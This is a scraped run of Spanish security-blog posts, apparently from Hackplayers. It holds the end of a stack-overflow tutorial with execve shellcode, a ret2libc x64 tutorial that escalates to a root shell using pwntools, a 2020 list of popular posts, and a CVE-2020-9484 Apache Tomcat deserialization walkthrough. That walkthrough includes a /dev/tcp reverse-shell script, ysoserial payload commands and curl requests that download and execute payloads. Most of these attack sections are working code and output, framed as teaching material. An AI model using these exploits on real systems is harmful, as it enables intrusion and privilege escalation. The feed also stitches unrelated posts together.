RSP: 0x7fffffffd958 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%h"...)
RIP: 0x555555554717 (: ret)
R8 : 0x7ffff7fc14c0 (0x00007ffff7fc14c0)
R9 : 0x5e ('^')
R10: 0xffffffa2
R11: 0x246
R12: 0x5555555545c0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffda50 ("A%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y\001\337\377\377\377\177")
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55555555470c : call 0x555555554580
0x555555554711 : mov eax,0x0
0x555555554716 : leave
=> 0x555555554717 : ret
0x555555554718
: push rbp
0x555555554719
: mov rbp,rsp
0x55555555471c
: sub rsp,0x10
0x555555554720
: mov DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd958 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%h"...)
0008| 0x7fffffffd960 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%"...)
0016| 0x7fffffffd968 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...)
0024| 0x7fffffffd970 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%O"...)
0032| 0x7fffffffd978 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...)
0040| 0x7fffffffd980 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA"...)
0048| 0x7fffffffd988 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%S"...)
0056| 0x7fffffffd990 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000555555554717 in vuln ()

Como veis se puede observar el patrón en el stack. 

Nos centramos en el contenido del stack pointer:  

gdb-peda$ x/wx $rsp
0x7fffffffd958: 0x41413741
Y encontramos su offset:  
gdb-peda$ pattern_offset 0x41413741
1094793025 found at offset: 104
Entonces, en RIP está en el offset 104 así que actualizamos nuestro payload y vemos si podemos sobrescribir RIP esta vez:  
python3 -c 'from struct import pack;print("A"*104 + str(pack("<Q", 0x424242424242), "utf-8") + "C"*290)'> in.txt 
Como veis packeamos en little-endian el valor del RIP (unsigned long long) y luego añadimos padding para llegar a los 400 bytes. Pasamos nuestro payload a la función:  
gdb-peda$ r < in.txt
Starting program: /tmp/ejercicio1x64 < in.txt

Has pasado 400 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell!

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7af2224 (<__gi___libc_write>: cmp rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8c0 --> 0x0
RSI: 0x555555756260 ("No shell!\n 400 bytes. buf es ", 'A', "\220\001\n")
RDI: 0x1
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffd960 ('C'...)
RIP: 0x424242424242 ('BBBBBB')
R8 : 0x7ffff7fc14c0 (0x00007ffff7fc14c0)
R9 : 0x5e ('^')
R10: 0xffffffa2
R11: 0x246
R12: 0x5555555545c0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffda50 ('C', "\001\337\377\377\377\177")
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x424242424242
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd960 ('C'...)
0008| 0x7fffffffd968 ('C'...)
0016| 0x7fffffffd970 ('C'...)
0024| 0x7fffffffd978 ('C'...)
0032| 0x7fffffffd980 ('C'...)
0040| 0x7fffffffd988 ('C'...)
0048| 0x7fffffffd990 ('C'...)
0056| 0x7fffffffd998 ('C'...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000424242424242 in ?? ()

Y voilà! ya tenemos controlado el RIP. 

Dado que este programa está compilado sin NX o stack canaries, podemos escribir nuestro código de shell directamente en la pila y volver a él.   

Usaremos mismo este shellcode de 24 bytes para execve("/bin/sh"): https://www.exploit-db.com/exploits/42179

Para ello almacenamos el shellcode en la pila a través de una variable de entorno:

$ export SC=$(python -c 'print "\x90"*10000 + "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"')

Como véis hemos metido unos NOPs al principio porque gdb mete cierta "basura" en memoria y desplaza el stack.   

A continuación encontramos su dirección usando getenvaddr:  

$  ./getenvaddr SC ejercicio1x64
SC will be at 0x7fffffffc445
Así que con eso ya podemos completar el payload final de nuestro exploit:  
#!/usr/bin/env python
from struct import *

buf = ""
buf += "A"*104
buf += pack("<Q", 0x7fffffffc445)

f = open("in.txt", "w")
f.write(buf)
Por último generamos el fichero in.txt y se lo "enchufamos" a nuestra función vulnerable:  
$ (cat in.txt ; cat) |  ./ejercicio1x64 

Has pasado 112 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp
No shell!
whoami
vis0r

Como véis ya tenemos shell pero sin root... recordar que al iniciar el programa con suid usando gdb no se otorgarán privilegios elevados por lo que habría que lanzar el exploit fuera del debugger. En próximas entradas veremos como usar pwntools y ejercicios poco a poco más complicados.

Fuentes: 

Lo más visto del 2020 en Hackplayers

$
0
0

Último día del año y tradicional post con las 50 entradas del blog más leídas durante el año, este 2020 tildado como maldito por la pandemia de este infame virus que nos azota desde hace ya muchos meses.

Así que no puedo despedir este año sin desear que este nuevo que entra sea el de la recuperación y el principio de la vuelta a la normalidad. Sabemos que las próximas semanas serán duras y que probablemente nos enfrentaremos a un nueva ola así que a todos mucha precaución y paciencia.

Ya sabéis que a principios de año y ajenos todavía a lo que se venía, tuvimos la suerte de poder celebrar en condiciones normales y disfrutar nuestra conferencia h-c0n, pero que en 2021 no la podremos celebrar dadas las circunstancias.

Eso sí, diluiremos nuestra participación en otras actividades a lo largo del año: en otros eventos online con nuestros amigos, jugando a CTFs, debatiendo y compartiendo info en grupos y redes sociales, llorando o riendo... allí estaremos alguno de los locos de Hackplayers pues, como decía Goethe, la locura, a veces, no es otra cosa que la razón presentada bajo diferente forma.   

Cuidaros mucho.

  1. El "texto de la muerte" para los usuarios de WhatsApp en Android
  2. Crackear la contraseña de cualquier usuario de Windows sin ningún privilegio (cuenta de invitado incluida)
  3. Listado de códigos secretos de Android
  4. El abc para desproteger un Excel con contraseña
  5. Cómo fingir ser un hacker
  6. Grupos de Telegram sobre hacking y seguridad informática en español
  7. 100 grupos de hackers famosos
  8. 15 sitios para practicar hacking (legalmente) este verano
  9. Truco para *petar* un grupo de WhatsApp (bomba de emoticonos)
  10. 8 servicios proxy gratuitos para evitar restricciones y mantener el anonimato y la privacidad
  11. Introducción a Social-Engineering Toolkit (SET)
  12. WiFite: crackear redes wifi para dummies
  13. hackplayers: Blogroll en español
  14. Cómo clonar la tarjeta SD de la Raspberry Pi
  15. iDict, una herramienta de fuerza bruta para obtener contraseñas de usuarios de iCloud
  16. Tutorial para modificar un APK añadiéndole un payload msf
  17. Una lista de películas y series que todo hacker debe ver
  18. Recursos y herramientas para el descubrimiento de subdominios
  19. Bitcracker: la primera herramienta opensource para crackear volúmenes cifrados con BitLocker
  20. Cómo identificar el proceso que está usando un puerto TCP determinado
  21. hackplayers: Retos de Hackplayers
  22. Xencrypt: un crypter en PowerShell
  23. Descarga gratis los 100 mejores libros de hacking de Raj Chandel
  24. Listado de herramientas online para escanear sitios web potencialmente maliciosos
  25. Cómo hacerte un IMSI Catcher sencillo por sólo 11€
  26. androrat: un troyano RAT para Android
  27. SAD DNS: un nuevo ataque que puede hacer tambalear los cimientos de Internet
  28. HTTP-revshell: controla el equipo de la víctima a través de un canal encubierto
  29. Métodos para ocultar el historial de bash
  30. SearchOrg: script para obtener información de empresas mediante su dominio
  31. Principales vulnerabilidades en un Directorio Activo
  32. Aplicación Android para robar y leer chats de WhatsApp en Android (PoC)
  33. Zerologon desatado: la vulnerabilidad que permite comprometer cualquier controlador de dominio de Windows fácilmente
  34. hackplayers: Participa en Hackplayers
  35. El "texto de la muerte" para los usuarios de Apple
  36. Listado de sandboxes de análisis de malware gratuitos y online
  37. Algunos google dorks para espiar cámaras web en Internet
  38. De cómo colarse en el metro de forma elegante... (NFC hack)
  39. Comprometido por sólo copiar y pegar texto de una página maliciosa (obtención de una shell mediante pastejacking)
  40. SIGRed: vulnerabilidad crítica en el servidor DNS de Windows (CVE-2020-1350)
  41. Taller para escalar privilegios en Windows/Linux
  42. Ataques DoS "Slow HTTP" mediante SlowHTTPTest
  43. 13 herramientas para desofuscar código para reversers
  44. Hacking Wireless con Airgeddon (by @OscarAkaElvis #hc0n2019)
  45. Android Hacking 101 - Introducción
  46. Herramientas SQL Injection
  47. El viejo truco de las sticky keys sigue funcionado
  48. whatsapp-phishing o cómo robar la sesión de un usuario de WhatsApp Web
  49. Evadir un portal cautivo mediante un túnel DNS
  50. SIEM, ¿Durmiendo con el enemigo?

Taller de exploiting: ret2libc en Linux x64

$
0
0
Seguimos con exploiting en Linux, con el mismo código en la entrada anterior pero esta vez activando el bit NX (no-execute), es decir, la protección que nos marcará el stack como no ejecutable:
#include <stdio.h>
#include <unistd.h>

int vuln() {
char buf[80];
int r;
r = read(0, buf, 400);
printf("\nHas pasado %d bytes. buf es %s\n", r, buf);
puts("No shell!");
return 0;
}

int main(int argc, char *argv[]) {
vuln();
return 0;
}
Para ello compilamos el código esta vez sin '-z execstack':
$ gcc -fno-stack-protector ejercicio2x64.c -o ejercicio2x64
No nos olvidamos de desactivar ASLR (de momento) para realizar el ejercicio:
$ sudo sysctl -w kernel.randomize_va_space=0
Y cambiarle los permisos necesarios también:
$ sudo chown root ret2libc
$ sudo chmod 4755 ret2libc
Comprobamos las protecciones del programa compilado:
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

Ya tenemos el binario para trabajar con él, pero recordar que ya no podremos apuntar la dirección de retorno a nuestro shellcode directamente en la pila, por lo que tendremos que utilizar la técnica return to libc o ret2libc. 

¿Qué es ret2libc? 

Cada vez que escribimos un programa en C utilizamos funciones como printf, scanf, put, etc. y todas esas funciones estándar de C se han compilado en un solo archivo que es la librería estándar de C o libc, el cual es independiente del binario (programa compilado). 

Ret2libc es una técnica que se basa en ejecutar código que no se encuentra en la pila sino en un sector de la memoria de libc, que es ejecutable. Es decir, el código utilizado para vulnerar el programa son funciones dentro de esta librería. 

Resumiendo: podemos modificar la dirección de retorno para que apunte a libc, que cuenta con funciones muy útiles como system() para, por ejemplo, obtener una shell. 

El resumen del payload más común sería el siguiente: 

Junk + RET + POP RDI + shell + System Address 

Si estuvieramos en un sistema con una arquitectura de 32 bits tendríamos que crear un stack frame falso para que la función llame a una función en libc y le pase los parámetros que necesite. Normalmente regresar a system() y ejecutar "/bin/sh". 

Sin embargo con los binarios de 64 bits es mucho más sencillo: los parámetros de la función se pasan en registros, por lo que no es necesario un stack frame fake. 

Los primeros seis parámetros se pasan en los registros RDI, RSI, RDX, RCX, R8 y R9. Cualquier cosa más allá de eso se pasa a la pila. Esto significa que antes de volver a la función que elegimos en libc, debemos asegurarnos de que los registros estén configurados correctamente con los parámetros que espera la función. Esto a su vez nos lleva a tener que usar un poco de ROP. 

Exploit

Comenzaremos a esbozar nuestro exploit, para ello necesitamos algunas cosas: 

  • La dirección de system(). ASLR está deshabilitado, por lo que no tenemos que preocuparnos por el cambio de dirección. 
  • Un puntero a "/bin/sh". 
  • Dado que el primer parámetro de función debe estar en RDI, necesitamos un gadget ROP que copie el puntero a "/bin/sh" en RDI. 

Vamos a empezar encontrando la dirección de system(), esto se puede hacer fácilmente desde gdb:

gdb-peda$ p system
$1 = {} 0x7fc7a9f0c3a0<__libc_system>
Y lo mismo para /bin/sh:
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 3 results, display max 3 items:
ejercicio2x64 : 0x4006ef --> 0x68732f6e69622f ('/bin/sh')
ejercicio2x64 : 0x6006ef --> 0x68732f6e69622f ('/bin/sh')
libc : 0x7fc7aa053e17 --> 0x68732f6e69622f ('/bin/sh')
Ahora necesitamos el gadget que copie 0x4006ef a RDI. Para ello usaremos ropper para encontrar las instrucciones que necesitamos:
$ ropper --file ejercicio2x64 --search "% ?di"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: % ?di

[INFO] File: ejercicio2x64
0x0000000000400508: add byte ptr [rax], al; test rax, rax; je 0x520; pop rbp; mov edi, 0x601048; jmp rax;
0x0000000000400556: add byte ptr [rax], al; test rax, rax; je 0x568; pop rbp; mov edi, 0x601048; jmp rax;
0x00000000004005ea: call 0x480; mov edi, 0x4006cf; call 0x470; mov eax, 0; leave; ret;
0x000000000040050d: je 0x520; pop rbp; mov edi, 0x601048; jmp rax;
0x000000000040055b: je 0x568; pop rbp; mov edi, 0x601048; jmp rax;
0x00000000004005ef: mov edi, 0x4006cf; call 0x470; mov eax, 0; leave; ret;
0x0000000000400510: mov edi, 0x601048; jmp rax;
0x000000000040050f: pop rbp; mov edi, 0x601048; jmp rax;
0x0000000000400693: pop rdi; ret;
0x000000000040050b: test eax, eax; je 0x520; pop rbp; mov edi, 0x601048; jmp rax;
0x0000000000400559: test eax, eax; je 0x568; pop rbp; mov edi, 0x601048; jmp rax;
0x000000000040050a: test rax, rax; je 0x520; pop rbp; mov edi, 0x601048; jmp rax;
0x0000000000400558: test rax, rax; je 0x568; pop rbp; mov edi, 0x601048; jmp rax;
El gadget en 0x400693 que saca un valor de la pila a RDI es perfecto. Ahora tenemos todo lo que necesitamos para construir nuestro exploit:
#!/usr/bin/env python

from struct import *

buf = ""
buf += "A"*104 # junk
buf += pack("<Q", 0x400693) # pop rdi; ret;
buf += pack("<Q", 0x4006ef) # pointer to "/bin/sh" gets popped into rdi
buf += pack("<Q", 0x7fc7a9f0c3a0) # address of system()

f = open("in.txt", "w")
f.write(buf)
Volcamos el payload al fichero in.txt por lo que ya sólo nos queda comprobar si funciona:
$ (cat in.txt ; cat) | ./ejercicio2x64
Try to exec /bin/sh
Read 128 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell for you :(
id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

Como veis hemos sido capaces de obtener shell, aunque todavía como luser aún habiendo lanzado el programa sin debugger y teniendo el suid seteado en el binario... ¿por qué? 

Pues porque bash o dash en Ubuntu, a dónde apunta /bin/sh, compara el UID real con el efectivo (EUID) y al no coincidir dropea el suid impidiéndonos escalar como root, es una *molesta* medida de protección. 

Para solucionarlo tendremos dos opciones: pasarle el parámetro -p o llamar justo antes a la función setuid con el parámetro 0. 

Vamos a hacer ésto último pero usando pwntools que nos facilitará enormemente la vida. Podremos obtener automáticamente las direcciones de las funciones a partir de la base de libc y, como tenemos acceso a la máquina y sin ASLR, esa base la conseguiremos fácilmente. Para ello podemos utilizar ldd:

$ ldd ./ejercicio2x64
linux-vdso.so.1 => (0x00007ffd9fa8e000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f77290d9000)
/lib64/ld-linux-x86-64.so.2 (0x00007f77294a3000)
A partir de esa dirección base ya podemos encontrar la dirección de cualquier función, por ejemplo printf:
$ objdump -TC /lib/x86_64-linux-gnu/libc.so.6 | grep " printf$"
0000000000055810 g DF .text 00000000000000a1 GLIBC_2.2.5 printf

La dirección de esa función en concreto sería: 

0x55810+0x7f77290d9000 = 0x7F772912E810 

Ya tenemos todos los ingredientes. Nuestro script final es el siguiente:

#!/usr/bin/python3

from pwn import *
from struct import pack

p = gdb.debug('./ejercicio2x64', '''
b *main
c
''')

p = process('./ejercicio2x64')
elf = ELF("./ejercicio2x64")
context.binary = elf
libc = ELF("./libc.so.6")
libc.address = 0x00007ffff7a0d000
rop = ROP(elf)

def suid(p,elf,libc,rop):
SUID = libc.sym['setuid']
log.info("suid: " + hex(SUID))
MAIN = elf.symbols['main']
log.info("main function: " + hex(MAIN))
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
log.info("POP_RDI: " + hex(POP_RDI))

payload = "A" * 104
payload += p64(POP_RDI)
payload += p64(0)
payload += p64(SUID)
payload += p64(MAIN)

p.sendline(payload)

def shell(p,elf,libc,rop):
RET = rop.find_gadget(['ret'])[0]
log.info("RET: " + hex(RET))
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
log.info("POP_RDI: " + hex(POP_RDI))
BIN_SH = next(libc.search("/bin/sh"))
log.success("/bin/sh: " + hex(BIN_SH))
SYSTEM = libc.sym["system"]
log.success("system: " + hex(SYSTEM))

payload = "A" * 104
payload += p64(RET)
payload += p64(POP_RDI)
payload += p64(BIN_SH)
payload += p64(SYSTEM)

p.sendline(payload)
p.interactive()

suid(p,elf,libc,rop)
shell(p,elf,libc,rop)
Y, por fin, podemos obtener una shell como root aprovechando ret2libc:
$ python exploit.py 
[+] Starting local process '/usr/bin/gdbserver': pid 3748
[*] running in new terminal: /usr/bin/gdb -q "./ret2libc" -x /tmp/pwnlKAcjc.gdb
[+] Starting local process './ejercicio2x64': pid 3765
[*] '/home/ubuntu/Desktop/exploiting/ex2/ejercicio2x64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/ubuntu/Desktop/exploiting/ex2/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 14 cached gadgets for './ejercicio2x64'
[*] suid: 0x7ffff7ada330
[*] main function: 0x400600
[*] POP_RDI: 0x400693
[*] RET: 0x400451
[*] POP_RDI: 0x400693
[+] /bin/sh: 0x7ffff7b99e17
[+] system: 0x7ffff7a523a0
[*] Switching to interactive mode
Try to exec /bin/sh
Read 137 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x89
No shell for you :(
Try to exec /bin/sh
Read 137 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x89
No shell for you :(
$ id
uid=0(root) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

Referencias: 

CVE-2020-9484: RCE mediante deserialización en Apache Tomcat con PersistentManager

$
0
0

Hoy vamos a ver la explotación de la vulnerabilidad CVE-2020-9484 que publicó Jarvis Threedr3am, de pdd security research, a comienzos del verano pasado y que permite ejecución remota de código a través de deserialización en versiones de Apache Tomcat anteriores a abril de 2020. 

Eso sí, para que el servidor Tomcat objetivo sea vulnerable además los administradores tienen que haber configurado el uso de PersistentManager editando el archivo conf/context.xml, ya que por defecto Tomcat se ejecutará con StandardManager

  • StandardManager mantendrá las sesiones en la memoria. Si tomcat se cierra correctamente, almacenará las sesiones en un objeto serializado en el disco (llamado "SESSIONS.ser" por defecto). 
  • PersistentManager hace lo mismo, pero con un extra: hacer swapping de sesiones inactivas/idle. Si una sesión ha estado inactiva durante x segundos, se moverá al disco. Es una forma de reducir el uso de memoria. 

Cuando Tomcat recibe una solicitud HTTP con una cookie JSESSIONID, le pedirá al Manager que verifique si esa sesión ya existe. Como se controla el JSESSIONID ¿qué pasa por ejemplo si lo seteamos a un valor como "JSESSIONID=../../../../../../tmp/12345"? 

  • Tomcat solicita al Manager que verifique si existe una sesión con el ID de sesión "../../../../../../tmp/12345"
  • Primero verificará si tiene esa sesión en la memoria. 
  • Si no es así y está configurado PersistentManager verificará si tiene la sesión en el disco.
  • Verificará en el directorio + sessionid + ".session", por lo que se evalúa como “./session/../../../../../../tmp/12345.session“ 
  • Si el archivo existe, lo deserializará y analizará la información de la sesión.

Entonces, ya ha os habéis imaginado que necesitamos cargar un objeto serializado malicioso en un path interno de la máquina para que podamos recuperarlo a través de la cookie JSESSIONID y poder conseguir RCE. 

La aplicación web devolverá un error HTTP 500 cuando se explote, porque encontrará un objeto serializado malicioso en lugar de uno que contiene información de sesión como se espera.

Así que amos a ello. Por ejemplo empezaremos con un script en bash para una shell reversa en el puerto 1337: 

payload.sh

#!/bin/bash
bash -c "bash -I >& /dev/tcp/<MY KALI IP>/1337 0>&1"

A continuación, usando ysoserial, crearemos tres archivos, uno para descargar nuestro payload, otro para darle permisos 777 y finalmente otro para ejecutarlo.

downloadPayload.session 

java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 'curl http:///payload.sh -o /tmp/payload.sh'> downloadPayload.session 

chmodPayload.session 

java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 "chmod 777 /tmp/payload.sh"> chmodPayload.session execute

Payload.session 

java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 'bash /tmp/payload.sh'> executePayload.session 

A partir de este punto, podemos lanzar los comandos uno a uno mediante curl, juntándolos por ejemplo mediante un simple script en bash:

#!/bin/bash
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/downloadPayload' -F 'image=@downloadPayload.session'
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/downloadPayload'
sleep 1
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/chmodPayload' -F 'image=@chmodPayload.session'
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/chmodPayload'
sleep 1
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/executePayload' -F 'image=@executePayload.session'
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/executePayload'
Ahora, con todos estos archivos en el mismo directorio, levantaremos un web server para servirlos al objetivo y un listener para la sesión reversa. 

Ejecutamos el script y, ¡tenemos ejecución remota de código! 

En resumen, recordar que los requisitos previos para ser vulnerable son: 

  • Que contenga una versión afectada, en concreto:     
  • Apache Tomcat 10.x <10.0.0-M5
  • Apache Tomcat 9.x <9.0.35
  • Apache Tomcat 8.x <8.5.55
  • Apache Tomcat 7.x <7.0.104
  • El atacante puede subir un archivo arbitrario, tiene control sobre el nombre del archivo y conoce la ubicación donde se sube.
  • El PersistentManager está habilitado y está usando un FileStore
  • El PersistentManager está configurado con sessionAttributeValueClassNameFilter="null" (el valor predeterminado a menos que se use un SecurityManager) o un filtro lo suficientemente laxo para permitir que el objeto proporcionado por el atacante sea deserializado

Con el siguiente script podemos ver si se cumplen los requisitos anteriores en la máquina de la víctima para ver si es vulnerable: https://github.com/osamahamad/CVE-2020-9484-Mass-Scan 

Fuentes:

Viewing all 1668 articles
Browse latest View live